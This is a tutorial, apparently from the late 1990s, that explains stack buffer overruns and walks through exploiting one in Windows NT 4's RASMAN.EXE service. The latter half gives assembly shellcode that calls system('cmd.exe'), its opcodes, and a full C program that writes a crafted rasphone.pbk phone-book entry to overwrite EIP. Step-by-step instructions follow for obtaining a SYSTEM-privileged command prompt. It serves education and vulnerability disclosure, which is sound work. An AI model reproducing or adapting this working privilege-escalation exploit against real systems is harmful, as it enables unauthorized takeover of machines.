Exploiting Windows NT 4 Buffer Overruns

A Case Study:

RASMAN.EXE

Introduction

This document is for educational purposes only and explains what a buffer overrun is and shows how they can be exploited on the Windows NT 4 operating system using RASMAN.EXE as a case study. We will take a look at Windows NT processes, virtual address space, the dynamics of a buffer overrun and cover certain key issues such as explaining what a stack is and what the ESP, EBP and EIP CPU registers are and do. With these covered we'll look into the buffer overrun found in RASMAN.EXE. This document may be freely copied and distributed only in its entirety and if credit is given.

Cheers, David Litchfield

What is a buffer overrun?

A buffer overrun is when a program allocates a block of memory of a certain length and then tries to stuff too much data into the buffer, with the extra overflowing and overwritting possibly critical information crucial to the normal execution of the program. Consider the following source:

```
#include <stdio.h>
int main ( )
{
    char name[31];
    printf("Please type your name: ");
    gets(name);
    printf("Hello, %s", name);
    return 0;
}
```

When this source is compiled and turned into a program and the program is run it will assign a block of memory 32 bytes long to hold the name string. Under normal operation someone would type in their name, for instance "David", and the program would then print to the screen "Hello, David". David is 5 letters long, with each letter taking up a single byte. The end of a string, though, is denoted by a thing called a null terminator - which is basically a byte with a value of zero. So we need to add a null terminator to the end of the string making a total length of 6 bytes. It is clear that 6 bytes will fit into the 32 bytes set aside to store the name string. If however, instead of entering "David", we entered

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

that is 40 capital As, when the program reads in our input and places it in our buffer it overflows. 40 will definitely not fit into 32.

It so happens that if we enter 40 As we completely overwrite the contents of a special CPU register known as the Instruction Pointer or EIP - the E stands for Extended by the way. A quick explanation of a register - a computer's processor has small memory storage units called registers. Access to the values held in these registers is very quick. These registers have special names and can hold memory addresses and variables. The EIP is one of these

registers and holds the memory address of the next instruction to execute. What do I mean by instruction? A program contains a list of instructions for the processor to carry out in order for the program to do its job, much like a recipe contains instructions for a cook to carry out in order to make a cake. These instructions are known as operation codes or opcodes for short. So when a program is running and the processor is executing one of the program's instructions the EIP holds the memory address where the next instruction to be executed can be found. After the current instruction has been executed the processor goes to that memory address and pulls in the instruction found there and then increments the EIP and the executes that instruction. This process of pulling the opcode from the memory address pointed to by the EIP, then incrementing the EIP then executing that instruction continues until the program exits.

Going back to our code, the fact that we have overwritten the EIP means that we can effectively tell the CPU to go to a memory address of our choosing and pull down the instruction found there and execute that. Because we are filling the buffer with As we overwrite the EIP with 0x41414141 - 41 is the hex value for a capital A. The processor then goes to address 0x41414141 and tries to read in the instruction found at that address. If there's no instruction there we get a thing known as an Access Violation. Most people will know of this as a message popping up saying something like "The Instruction at '0x41414141' referenced memory at '0x41414141'. The memory could not be read." If we had filled our buffer with Bs we would overwrite the EIP with 0x42424242 essentially telling the processor to go that that memory address to get the next instruction and more than likely we'd get the same Access Violation.

Exploiting a buffer overrun.

As you'll see later on, being able to overwrite the EIP is vital to exploiting a buffer overrun. When you exploit a buffer overrun you basically get the processor to execute instructions or code of your choosing getting the program to do something it would not normally do. You do this by pointing the EIP back into the buffer which you load with your own opcodes which are then executed. This begs the question , "Why would someone want to do this?"

Windows NT, like UNIX systems, require a user to log into the system. Some users are very powerful, such as the Administrator and others are just your average normal user that aren't as powerful. If a normal user wanted to become equivalent to the Administrator and thus just as powerful with almost full control of the system they could exploit a buffer overrun to attain this. The problem is the buffer overrun needs to be in a process that has enough power and privileges to be able to make them an Administrator so there is no point in buffer overruning a process that they, the user themselves, have started. They need to buffer overrun a process started by the system and then get the process to execute their own arbitary code. The system account is very powerful, and if you can get a system process to do something, such as open a Command Prompt, then it will run with system privileges. In Windows NT, if a process starts a new child process then the child process normally inherits the access token of the parent process, normally because some processes can be started using the Win32 CreateProcessAsUser ( ) function that will start the new process under the security context of another user and thus the new process will have a different access token than the parent process. An Access Token is like a set of keys - they denote a user's rights and privileges that determine what they can and cannot do to the machine. An example of this is screen savers. The winlogon.exe system process is responsible for starting a user's screen saver. As oppossed to runing the screen saver in the security context of the system winlogon uses CreateProcessAsUser ( ) to start the screen saver in the security context of the currently logged on user. I digress - back to buffer overruns. In this case study we'll look at the buffer overrun in RASMAN.EXE, a system process, and get it to open a Windows NT Command Prompt. This Command Prompt will have the access token of the system account and so will any other processes started from it. But first a bit more on an NT process' virtual memory layout.

A process embodies many things such as, amongst others, a running program, one or more threads of execution, the process' virtual address space and the dynamic link libraries (DLLs) the program uses. The process has 4 GB of virtual address space to use. Half of this is, from address 0x00000000 to 0x7FFFFFFF, private address space where the program, its DLLs and stack (or stacks in the case of a multihthreaded program) are found and the other half, address 0x80000000 to 0xFFFFFFFF is the system address space where such things as NTOSKRNL.EXE and the HAL are loaded. As a side note, this default behaviour can be changed as of service pack three - you can specify a switch in the boot.ini - /3GB - that will assign 3 GB as private address space and 1 GB as system address space. This is to boost the performance of programs, such as databases, the require large amounts of memory.

When a program is run NT creates a new process. It loads the program's instructions and the DLLs the program uses into the private address space and marks the pages it uses as read-only. Any attempt to modify pages in memory marked as read only will cause an Access Violation. The first thread is started and a stack is initialised.

The Stack

What's the simplest way to describe a stack? Try this: Imagine a carpenter. He has tools, materials and instructions. To be able to make something though they need a workbench. The stack is similar to this workbench. It is a place where he can use his tools to shape and model his raw materials. He can put something down on the workbench, say waiting for the glue to dry on two bits of wood and do something else. When that task is complete he can come back to his two bits of wood and continue with that. The workbench is where most of the work is done.

So too, in a process, the stack is where most things are done. It is a writeable area of memory that dynamically shrinks and grows as is needed or determined by the program's execution. When a programatic task is started it'll place data on the stack, whether these be strings, memory addresses, integers or whatever, then manipulate them and when the task has completed it will return the stack to its original state so that the next task can use it if it needs to. Working in this way the process interacts with the stack using a method known as Last In, First Out or LIFO.

There are two registers that are crucial to the stack's functionality - they are used by the program to keep track of where data can be found in memory. These two registers are the ESP and the EBP.

The ESP, or the Stack Pointer points to the top of the stack. The ESP contains the memory address where the top of the stack can be found. The ESP can be changed in a number of ways both indirectly and directly.When something is PUSHed onto the stack the ESP increases accordingly. When something is POPed off of the stack the ESP shrinks. The PUSH and POP operations modify the ESP indirectly. But then you can manipulate the ESP directly, with say an instruction of "SUB esp,04h" which pushes the stack out by four bytes or one word. For those that haven't yet been numbed into boardem, something may just have irked: how is it that you SUBtract 4 from the ESP and yet the ESP is pushed out? Well this is because the stack works backwards. The bottom of the stack uses a memory address higher than the top of the stack:

----------0x12121212 Top of the stack

. . .
. . .
----------0x121212FF Bottom of the stack

Here we have definitive proof that the fathers of modern computing were indeed closet sadists or had shares in makers of paracetamol - occasionally they throw in gems like this to make that headache that bit more acute. When we say the stack increases in size the address held in the ESP decreases. Conversly when the stack size decreases the address held in the ESP increases. Reaching for the Asprin yet?

Our second stack related register is known as the EBP or the Base Pointer. The EBP holds then memory address of the bottom of the stack - more accurately it points to a base point in the stack that we can use a reference point within a given programatic task. The EBP must have meaning to a given task and to facilitate this before the task's real business is started a setup procedure known as the "procedure prologue" is first completed. What this does is, firstly, save the current EBP by PUSHing it onto the stack. This is so that the processor and program will know where to pick up from after the currently executing task has completed. The ESP is then copied into the EBP thus creating a new Base Pointer that the currently executing task can use as a reference point irrespective of how the ESP changes during the task's execution. Continuing with this let's say an 11 character string was placed onto the stack - our EBP remains the same but the ESP has been pushed out by 12 bytes. Then say an address was PUSHed onto the stack - our ESP is pushed out by another 4 bytes, though our EBP still remains the same. Now let's say we needed to reference the 11 byte string - we can do this by using our EBP: we

know the first byte of our string (the pointer to the string) is twelve bytes away from the EBP so we can reference this string's pointer by saying,"the address found at EBP minus 12". (Remember the stack goes from a higher address to a lower address)

RASMAN and buffer overruns.

Finding the buffer overrun

The first thing you need to do to be able to exploit a buffer overrun is to a) know about an existing one or b) find your own one. In the case of RASMAN, the overrun was found by looking at the RAS functions and the structures the used. Notice that some of the functions, such as RasGetDialParams ( ), fill structures that contain characters arrays, much like char name[31] character array in the C code above. By playing around with rasphone.pbk file, the RAS Phone Book, where dialing details, such as the phone number to be dialed, are stored, you can root out these overruns. Make a phone book entry called "Internet", which dials into your ISP, dial it, and downloaded your mails. This is important as this adds to the Registry an entry for the domain name of your mail server as an Autodial location. That is, if you try to contact your mail server, from that point on, without being dialed into the Internet, the Connection manager would kick in and automatically dial for you. RASMAN is the process that handles this functionality. Once you have done this change the telephone number to a long string of As and then attempted to connect to your mail server, say, by opening Outlook Express. This causes RASMAN to read in from rasphone.pbk the telephone number to dial to be able to get to your mail server. But instead of the real telephone number the long string of As is read instead and fills a character array in the RAS_DIAL_PARAMS structure which overflows causing an Access Violation - at address 0x41414141. We've found a buffer overrun and, more exciting, overwritten the EIP.

Finding where the EIP is overwritten

By experimenting with the length of the "telephone number" we find that we overwrite the EIP with bytes 296,297,298 and 299 of our string. (You'll find that, if you are actually following this, you'll need to reboot the system after the overflow to be able to restart the service, and you'll have to end tasks such as AthenaWindow and msmin.exe.) Once we have found where we overwrite the EIP it is time to get out the debugger - the debugging capabilities of Visual C++ are very good. Attach to the RASMAN process and then get it to dial - or attempt to at least. Wait for the access violation.

Analyze what's going on.

Once the access violation has occured we need to look at the stack and the state of the CPU's registers. From this we can see that we also overwrite the EBP, which will come in handy later on and that the address of the first A of our "telephone number" is 0x015DF105. By getting RASMAN to access violate a number of times we find that the first A is always written to this address. This is the address we're going to set the EIP to so that the processor will look at that address for the next instrution to execute. We'll stuff the "telephone number" full of our own opcodes that will get RASMAN to do what we want it to do - our arbitary code. We then need to ask, "What do we want it to do?".

Where do you want to go today? - What do you want to acheive?

The best thing to do, as we need to be at the console to get this to work, is get RASMAN to open up a Command Prompt. From here we can run any program we want with system privileges. The easiest way to get a program to run a Command Prompt, or any other program for that matter is to use the system ( ) function. When the system ( ) function is called it looks at the value of the ComSpec environment variable, normally "c:\winnt\system32\cmd.exe" on Windows NT and executes that with a "/C" switch. The function passes cmd.exe a command to run and the "/C" switch tells cmd.exe to exit after the command has finished executing. If we pass "cmd.exe" as the command - system("cmd.exe"); - this will cause the system function to open up cmd.exe with the "/C" switch and execute cmd.exe - so we are running two instances of the command interpreter - however the second one won't exit until we tell it to (and nor will the first until the second one has exited.)

Rather than the placing the opcodes that actually form the system ( ) function in our exploit string it would be easier to simply call it. When you call a function you tell the program to go to a certain DLL that contains the code for the function you are calling. The use of DLLs means that programs can be smaller in size - rather than each

program containing the necessary code for each function used they can call a shared DLL that does contain the code. DLLs are said to export functions - that is the DLL provides an address where a function can be found. The DLL also has a base address so the system knows where to find that DLL. When a DLL is loaded into a process' address space it will always be found at that base address and the functions it exports can then be found at an entry point within the base. The system ( ) function is exported msvcrt.dll (the Microsoft Visual C++ Runtime library) which has base address of 0x78000000 and system ( ) entry point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll anyway) meaning that the address of the system ( ) function is 0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's address space - if it isn't we'll need to use LoadLibrary ( ) and GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it is already in the process address space. This makes the job of exploiting the buffer overrun very easy indeed - we'll simply build a stack with our string of the command to run (cmd.exe) and and call it. What makes it even better is that the address 0x780208C3 has no nulls (00) in it. Nulls can really complicate issues.

To find out what the stack needs to look like when a normal program calls system("cmd.exe"); we need to write one that does and debug it. We'll need to get our arbitary code to build a duplicate image of the stack as it appears in our program just before system ( ) is called. Below is the source of our program. Compile and link it with kernel32.lib then run and debug it.

```
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
    HINSTANCE LibHandle;
    MYPROC ProcAdd;

    char dllbuf[11]  = "msvcrt.dll";
    char sysbuf[7] = "system";
    char cmdbuf[8] = "cmd.exe";


    LibHandle = LoadLibrary(dllbuf);

    ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

    (ProcAdd) (cmdbuf);

    return 0;

}
```

On debugging and examining the stack prior to calling system ( ) [(ProcAdd)(cmdbuf); in the above code] we see that starting from the top of the stack we find the address of the "c" of cmd.exe, then the address of where the system ( ) function can be found, the null terminated cmd.exe string and a few other things that are too important. So to emulate this we need the null terminated "cmd.exe"string in the stack, then the address of the system function and then the address which points to our "cmd.exe" string. Below is a picture of what we need the stack to look like before calling system ( )

---------- ESP (Top of the Stack)

XX

XX

XX

XX

C3

08

02

78

63 c

6D m

64 d

2E .

65 e

78 x

65 e

00

---------- EBP (Bottom of the stack)

where the top 4 XXs are the address of “c”. We don’t need to hardcode

this address into our exploit string because we can use the EBP as a

reference - remember it is the base pointer. Later on you’ll see that

we load the address where the first byte of our cmd.exe string can be found into a register using the EBP as a reference point.

Writing the Assembly.

This is what we need the stack to look like when we call system ( ). How do we get it there? We have to build it ourselves with our opcodes - we can’t just put it in our exploit string because as you can see there are nulls in it and we can’t have nulls. Because we have to build it this is where knowing at least a little assembly language comes in handy. The first thing we need to do is set the ESP to an address we can use for our stack. (Remember the ESP points to the top of the stack.) To do this we use:

mov esp, ebp

This moves the EBP into the ESP - rember we overwrite the EBP as well as the EIP which is really handy. We’ll overwrite the EBP with an address we know we can write to - we will use 0x015DF124. Consequently the ESP, after we move the EBP into it, the top of the stack will be found at 0x015DF124.

We then want to push EBP onto the stack. This is our return address.

push ebp

This has the effect of pushing the ESP down 4 bytes and so ESP is now 0x015DF120. After this we then want to move the ESP into the EBP:

mov ebp,esp

This completes our own procedure prologue. With this done we can go

about building the stack the way we want it to look

The next thing we need to do is get some nulls onto the stack. We need some nulls because we need to have our cmd.exe string terminated with a null. Even though the cmd.exe string isn't there yet it will be but we have to do things in reverse order. Before we can push some nulls onto the stack we need to make some. We do this by xoring a register with itself- we'll use the EDI register.

xor edi,edi

This will set the EDI to 00000000 and then we push it onto the stack

using

push edi

This also has the added effect of pushing out our ESP to 0x015DF11C. But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far and don't forget we need a null tacked on the end of our string so we need to push the ESP out another 4 bytes to give us a total of 8 bytes of space between the ESP and the EBP. We could push the edi again, but for varitey we'll just sub the ESP by 4.

sub esp,04h

Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is

to get cmd.exe written to the stack. To do this we'll use the EBP as a

reference point and move 63, the hex value for a small "c" into the

address offset from the EBP minus 8.

mov byte ptr [ebp-08h],63h

We do the same for the "m", the "d", the ".", the first"e", the "x" and the final "e".

mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h

Our stack now looks like this:

---------- ESP

63 c

6D m

64 d

2E .

65 e

78 x

65 e

00

---------- EBP

All that we need to do now is put the address of system( ) onto the stack and the pointer to our cmd.exe string on top of that - once that is done we'll call the system ( ) function.

We know that the system( ) function is exported at address 0x780208C3 so we'll move this into a register and then push it onto the stack:

mov eax, 0x780208C3 push eax

We then want to put the address of the "c" of our "cmd.exe" string onto the stack. We know that the "c" can be found eight bytes away from our EBP so we'll load the address 8 bytes less than the EBP into a register:

lea eax,[ebp-08h]

The EAX register now holds the address where our cmd.exe string begins. We then want to push this onto the stack:

push eax

With this done our stack is built and we are ready to call system ( ) but we don't call it directly - again we use the indirection of using our EBP as a reference point and call address found at EBP minus 12 (or 0C in hex):

call dword ptr [ebp-0ch]

Here is all our code strung together.

```
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
mov eax, 0x780208C3
push eax
lea eax,[ebp-08h]
push eax
call dword ptr [ebp-0ch]
```

The next thing to do is test this assembly to see if it works so we need to write a program that uses the __asm ( ) function. The __asm ( ) function takes Assembly language and incorporates it into a C program. As we are calling system ( ) which is exported by msvcrt.dll we'll need to load that- we use the LoadLibrary ( ) function to do this - otherwise when run our code would fail:

```
#include <windows.h>
#include <winbase.h>

void main()
{
    LoadLibrary("msvcrt.dll");

    __asm {
    mov esp,ebp
    push ebp
```

```
        mov ebp,esp
        xor edi,edi
        push edi
        sub esp,04h
        mov byte ptr [ebp-08h],63h
        mov byte ptr [ebp-07h],6Dh
        mov byte ptr [ebp-06h],64h
        mov byte ptr [ebp-05h],2Eh
        mov byte ptr [ebp-04h],65h
        mov byte ptr [ebp-03h],78h
        mov byte ptr [ebp-02h],65h
        mov eax, 0x780208C3
        push eax
        lea eax,[ebp-08h]
        push eax
        call dword ptr [ebp-0ch]




                        }
}
```

compile and link with kernel32.lib. When run this should start a new instance of the Command Interperter, cmd.exe. There will be an access violation however when you exit that instance in the program though - we've messed around with the stack and haven't clean up after ourselves.

That's it then - that's our arbritary code and all we need to do now is put this into the rasphone.pbk file as our telephone number. Before we can do that though, we need to get the op-codes for the above assembly.

This is relatively easy - just debug the program you've just compiled and get the opcodes from there. You should get "8B E5" for "mov esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes we need to put these in our "telephone number". But we can't type the opcodes very easily in Notepad. The easiest thing to do is write another program that creates a rasphone.pbk file with the telephone number loaded with our arbitary code. Below is an example of such a program with comments:

```
/* This program produces a rasphone.pbk file that will cause and exploit a buff er overrun in   */ /* RASMAN.EXE - it will drop the user into a Command Prompt  started by the sys tem.          */ /* It operates by re-writing the EIP and pointing it back into our exploit stri ng which calls  */ /* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00 .7303) on       */ /* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[1 09] to buffer[112]*/ /* in this code to suit your version. msvcrt.dll is already loaded in memory - it is used by   */ /* RASMAN.exe.  Developed by David Litchfield (mnemonix@globalnet.co.uk )
                        */

#include <stdio.h>
#include <windows.h>

int main (int argc, char *argv[])
{
        FILE *fd;
        int count=0;
        char buffer[1024];

                /* Make room for our stack so we are not overwriting anything we haven'
t */
                /* already overwritten. Fill this space with nops */ while (count < 37)
```

```
                    {
    buffer[count]=0x90;
    count ++;
                    }

    /* Our code starts at buffer[37] - we point our EIP to here @ address 0
x015DF126 */

/* We build our own little stack here */
    /* mov esp,ebp */
    buffer[37]=0x8B;
    buffer[38]=0xE5;

    /*push ebp*/
    buffer[39]=0x55;

    /* mov ebp,esp */
    buffer[40]=0x8B;
    buffer[41]=0xEC;
    /* This completes our negotiation */

    /* We need some nulls */
    /* xor edi,edi */
    buffer[42]=0x33;
    buffer[43]=0xFF;

    /* Now we begin placing stuff on our stack */ /* Ignore this NOP */ buffer[44]=0x90;
    /*push edi  */
    buffer[45]=0x57;

    /* sub esp,4 */
    buffer[46]=0x83;
    buffer[47]=0xEC;
    buffer[48]=0x04;

        /* When the system() function is called you ask it to start a program o
r command */
        /* eg system("dir c:\\"); would give you a directory listing of the c d
rive     */
        /* The system () function spawns  whatever is defined as the COMSPEC en
vironment */
        /* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" par
ameter - in */
        /* other words after running the command the cmd.exe process will exit.

However, running */
        /* system ("cmd.exe") will cause the cmd.exe launched by the system fun
ction to spawn */
        /* another command prompt - one which won't go away on us. This is what
we're going to do here*/
    /* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
    /* mov byte ptr [ebp-08h],63h */
    buffer[49]=0xC6;
    buffer[50]=0x45;
```

```
buffer[51]=0xF8;
buffer[52]=0x63;

/* write the m to (EBP-7)*/
/* mov byte ptr [ebp-07h],6Dh */
buffer[53]=0xC6;
buffer[54]=0x45;
buffer[55]=0xF9;
buffer[56]=0x6D;

/* write the d to (EBP-6)*/
/* mov byte ptr [ebp-06h],64h */
buffer[57]=0xC6;
buffer[58]=0x45;
buffer[59]=0xFA;
buffer[60]=0x64;

/* write the . to (EBP-5)*/
/* mov byte ptr [ebp-05h],2Eh */
buffer[61]=0xC6;
buffer[62]=0x45;
buffer[63]=0xFB;
buffer[64]=0x2E;

/* write the first e to (EBP-4)*/
/* mov byte ptr [ebp-04h],65h */
buffer[65]=0xC6;
buffer[66]=0x45;
buffer[67]=0xFC;
buffer[68]=0x65;

/* write the x to (EBP-3)*/
/* mov byte ptr [ebp-03h],78h */
buffer[69]=0xC6;
buffer[70]=0x45;
buffer[71]=0xFD;
buffer[72]=0x78;


/*write the second e to (EBP-2)*/
/* mov byte ptr [ebp-02h],65h */
buffer[73]=0xC6;
buffer[74]=0x45;
buffer[75]=0xFE;
buffer[76]=0x65;


/* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x78

0208C3 */
/* Use QuickView to get the entry point for system() if you have a diff

erent */

/* version of msvcrt.dll and change these bytes accordingly */
/* mov eax, 0x780208C3 */
```

```
buffer[77]=0xB8;
buffer[78]=0xC3;
buffer[79]=0x08;
buffer[80]=0x02;
buffer[81]=0x78;

/* Push this onto the stack */
/* push eax */
buffer[82]=0x50;

/* now we load the address of our pointer to the cmd.exe string into EA

X */
/* lea eax,[ebp-08h]*/
buffer[83]=0x8D;
buffer[84]=0x45;
buffer[85]=0xF8;

/* and then push it onto the stack */
/*push eax*/
buffer[86]=0x50;

/* now we call our system () function - all going well a command prompt
will */


/* be started, the parent process being rasman.exe
        */
/*call dword ptr [ebp-0Ch] */
buffer[87]=0xFF;
buffer[88]=0x55;
buffer[89]=0xF4;

/* fill to our EBP with nops */
count = 90;
while (count < 291)
                {
    buffer[count]=0x90;
    count ++;
                }



/* Re-write EBP */
buffer[291]=0x24;
buffer[292]=0xF1;
buffer[293]=0x5D;
buffer[294]=0x01;

/* Re-write EIP */
buffer[295]=0x26;
buffer[296]=0xF1;
buffer[297]=0x5D;
buffer[298]=0x01;
```

```
buffer[299]=0x00;
buffer[300]=0x00;

/* Print on the screen our exploit string */ printf("%s", buffer);

/* Open and create a  file called rasphone.pbk */ fd = fopen("rasphone.pbk", "w");

if(fd == NULL)

                        {
printf("Operation failed\n"); return 0;

                        }

else

                        {
fprintf(fd,"[Internet]\n"); fprintf(fd,"Phone Number="); fprintf(fd,"%s",buffer); fprintf(fd,"\n");

                        }
return 0;
}
```

When compiled and run this program will create a rasphone.pbk file with one entry called Internet and a phone number loaded with our arbitary code. When RASMAN.EXE opens this file and it uses RasGetDialParams ( ) to get the relevant information and assigns it to a RAS_DIAL_PARAMS structure which contains the character arrays. As you'll have guessed we're overflowing the one that holds the telephone number.

Now to test it all.

Quite often when trying to exploit buffer overruns you don't get it right the first time - usually due to an oversight or something. The code in this document has been tested on NT Server 4 with SP 3, NT Server 4 with SP 4 and NT Workstation SP 3 all running on a Pentium processor and it works - that's not to say that it will run on your machine though. There could be a number of reasons why it might not, but that is up to you to find out. So any way, let's test it:

To be able to get this to work take the following steps:

1) Make a backup copy of your real rasphone.pbk file and then delete the original. The NTFS permissions on this file by default give everybody the Change permission so there shouldn't be a problem with this.
2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You should get a message saying that the phone book is empty and click OK to create a new one.
3) Click OK and make a new entry calling it "Internet". Put in the relevant information needed to be able to dial into your ISP. Once the entry is complete dial it.
4) Once connected open Outlook Express and download your e-mails. The reason for doing this is because this will create a Registry entry for your mail server's domain name and associate it as an autodialable address. If Outlook Express' connection is dial up change it to a LAN connection - this'll be under the mail account's properties.
5) Hangup and close Outlook Express.
6) Copy the delete the new rasphone.pbk and replace it with your one made from the above code.
7) Open Outlook Express.

Because your not connected to the Internet RASMAN should automatically dial for you, read in from the Registry the autodail information then open rasphone.pbk, fill its buffers and overflow. Within about eight seconds or so a Command Prompt window will open. This Command Prompt has SYSTEM privileges.

That's it - we've exploited a buffer overrun and executed our arbitary code.